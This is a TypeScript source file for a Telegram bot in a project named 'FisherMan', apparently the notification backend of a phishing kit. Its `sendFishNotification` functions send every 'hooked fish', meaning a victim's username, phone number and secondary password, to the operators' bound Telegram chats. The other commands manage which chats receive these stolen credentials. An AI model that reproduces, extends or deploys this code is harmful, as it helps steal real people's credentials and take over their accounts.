| 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275 |
- import { Telegraf } from 'telegraf'
- import { Fish } from '../entities/fish.entity'
- import { ConfigType } from '../entities/sys-config.entity'
- import { SysConfig } from '../entities/sys-config.entity'
- import { Repository } from 'typeorm'
- import { createApp } from '../app'
- export class BotService {
- private static _instance: BotService
- public static get instance(): BotService {
- if (!this._instance) {
- this._instance = new BotService()
- }
- return this._instance
- }
- private bot: Telegraf
- private sysConfigRepository: Repository<SysConfig>
- private app: any
- private constructor() {
- this.initializeApp()
- }
- private async initializeApp() {
- try {
- this.app = await createApp()
- this.sysConfigRepository = this.app.dataSource.getRepository(SysConfig)
- // 检查 BOT_TOKEN 是否存在
- if (!this.app.config.BOT_TOKEN) {
- console.warn('BOT_TOKEN 未配置,跳过 Telegram Bot 初始化')
- return
- }
- this.bot = new Telegraf(this.app.config.BOT_TOKEN, {})
- this.setupCommands()
- // 添加启动错误处理
- this.bot.launch().catch(error => {
- this.app.log.error('Telegram Bot 启动失败:' + error)
- this.app.log.error('请检查网络连接和 BOT_TOKEN 是否正确')
- })
- this.app.log.info('Telegram bot started')
- } catch (error) {
- this.app.log.error('BotService 初始化失败:' + error)
- }
- }
- private setupCommands(): void {
- this.bot.start(ctx => ctx.reply('欢迎使用FisherMan!'))
- this.bot.command('id', ctx => {
- const chatId = ctx.chat?.id
- const message = `聊天ID: <code>${chatId}</code>\n`
- ctx.reply(message, { parse_mode: 'HTML' })
- })
- this.bot.command('bind', async ctx => {
- const chatId = ctx.chat?.id
- if (!chatId) {
- return ctx.reply('❌ 无法获取聊天ID')
- }
- try {
- await this.bindChatId(chatId.toString())
- const chatTitle = (ctx.chat as any)?.title || ctx.from?.first_name || '未知'
- ctx.reply(`✅ 成功绑定聊天:${chatTitle} (ID: ${chatId})`)
- } catch (error) {
- this.app.log.error(error, 'bind command error')
- ctx.reply('❌ 绑定失败,请稍后重试')
- }
- })
- this.bot.command('unbind', async ctx => {
- const chatId = ctx.chat?.id
- if (!chatId) {
- return ctx.reply('❌ 无法获取聊天ID')
- }
- try {
- await this.unbindChatId(chatId.toString())
- const chatTitle = (ctx.chat as any)?.title || ctx.from?.first_name || '未知'
- ctx.reply(`✅ 成功解绑聊天:${chatTitle} (ID: ${chatId})`)
- } catch (error) {
- this.app.log.error(error, 'unbind command error')
- ctx.reply('❌ 解绑失败,请稍后重试')
- }
- })
- this.bot.command('list', async ctx => {
- try {
- const chatIdConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } })
- if (!chatIdConfig || !chatIdConfig.value.trim()) {
- return ctx.reply('📋 当前没有绑定的聊天ID')
- }
- const chatIds = chatIdConfig.value
- .split(',')
- .map(id => id.trim())
- .filter(id => id.length > 0)
- let message = `📋 <b>已绑定的聊天ID列表</b>\n\n`
- chatIds.forEach((id, index) => {
- message += `${index + 1}. <code>${id}</code>\n`
- })
- message += `\n💡 使用 /unbind 命令可以解绑当前聊天`
- ctx.reply(message, { parse_mode: 'HTML' })
- } catch (error) {
- this.app.log.error(error, 'list command error')
- ctx.reply('❌ 获取列表失败,请稍后重试')
- }
- })
- this.bot.catch((err: any, ctx) => {
- this.app.log.error(err, 'bot error')
- ctx.reply('出错了: ' + err.message)
- })
- }
- onStop() {
- this.app.log.info('stop bot')
- try {
- this.bot.stop()
- } catch (error) {}
- }
- async sendMessage(chatId: number | string, text: string) {
- if (!this.bot) {
- this.app.log.warn('Bot 未初始化,无法发送消息')
- return
- }
- try {
- await this.bot.telegram.sendMessage(chatId, text, { parse_mode: 'HTML' })
- } catch (error) {
- this.app.log.error(`发送消息失败:${error}`)
- }
- }
- async sendFishNotification(
- chatId: number | string,
- id: string,
- username: string,
- phone: string,
- password: string,
- createdAt: Date
- ) {
- const text = `🎣 <b>🎉 新鱼上钩!🎉</b>
- 鱼苗ID: <code>${id}</code>
- 用户名: <code>${username ? username : ''}</code>
- 手机号: <code>${phone ? `+${phone}` : ''}</code>
- 二级密码: <code>${password || '未设置'}</code>
- 上鱼时间: <code>${createdAt.toLocaleString('zh-CN')}</code>`
- await this.sendMessage(chatId, text)
- }
- async sendFishNotificationToAll(id: string, username: string, phone: string, password: string, createdAt: Date) {
- if (!this.bot) {
- this.app.log.warn('Bot 未初始化,跳过发送通知')
- return
- }
- if (!this.sysConfigRepository) {
- this.app.log.warn('SysConfigRepository 未初始化,跳过发送通知')
- return
- }
- try {
- const chatIdConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } })
- if (!chatIdConfig?.value?.trim()) {
- this.app.log.warn('chatId 配置不存在或为空,跳过发送通知')
- return
- }
- const chatIds = chatIdConfig.value
- .split(',')
- .map(id => id.trim())
- .filter(id => id.length > 0)
- if (chatIds.length === 0) {
- this.app.log.warn('没有有效的 chatId 配置')
- return
- }
- this.app.log.info(`准备向 ${chatIds.length} 个聊天发送通知: ${chatIds.join(', ')}`)
- for (const chatId of chatIds) {
- try {
- await this.sendFishNotification(chatId, id, username, phone, password, createdAt)
- this.app.log.info(`成功发送通知到 chatId: ${chatId}`)
- } catch (error) {
- this.app.log.error(`发送通知到 chatId ${chatId} 失败:`, error)
- }
- }
- } catch (error) {
- this.app.log.error('sendFishNotificationToAll 失败:', error)
- }
- }
- async bindChatId(chatId: string) {
- if (!this.sysConfigRepository) {
- throw new Error('SysConfigRepository 未初始化')
- }
- const existingConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } })
- if (existingConfig) {
- const currentChatIds = existingConfig.value
- .split(',')
- .map(id => id.trim())
- .filter(id => id.length > 0)
- if (currentChatIds.includes(chatId)) {
- this.app.log.info(`chatId ${chatId} 已存在,跳过绑定`)
- return
- }
- currentChatIds.push(chatId)
- existingConfig.value = currentChatIds.join(',')
- await this.sysConfigRepository.save(existingConfig)
- this.app.log.info(`成功更新 chatId 配置,添加: ${chatId}`)
- } else {
- const newConfig = this.sysConfigRepository.create({
- name: 'chatId',
- value: chatId,
- remark: 'Telegram 通知接收者聊天ID',
- type: ConfigType.String
- })
- await this.sysConfigRepository.save(newConfig)
- this.app.log.info(`成功创建 chatId 配置: ${chatId}`)
- }
- }
- async unbindChatId(chatId: string) {
- if (!this.sysConfigRepository) {
- throw new Error('SysConfigRepository 未初始化')
- }
- const existingConfig = await this.sysConfigRepository.findOne({ where: { name: 'chatId' } })
- if (!existingConfig) {
- this.app.log.warn('chatId 配置不存在,无法解绑')
- return
- }
- const currentChatIds = existingConfig.value
- .split(',')
- .map(id => id.trim())
- .filter(id => id.length > 0)
- const filteredChatIds = currentChatIds.filter(id => id !== chatId)
- if (filteredChatIds.length === currentChatIds.length) {
- this.app.log.info(`chatId ${chatId} 不存在,跳过解绑`)
- return
- }
- if (filteredChatIds.length === 0) {
- await this.sysConfigRepository.remove(existingConfig)
- this.app.log.info('成功删除 chatId 配置')
- } else {
- existingConfig.value = filteredChatIds.join(',')
- await this.sysConfigRepository.save(existingConfig)
- this.app.log.info(`成功更新 chatId 配置,移除: ${chatId}`)
- }
- }
- }
|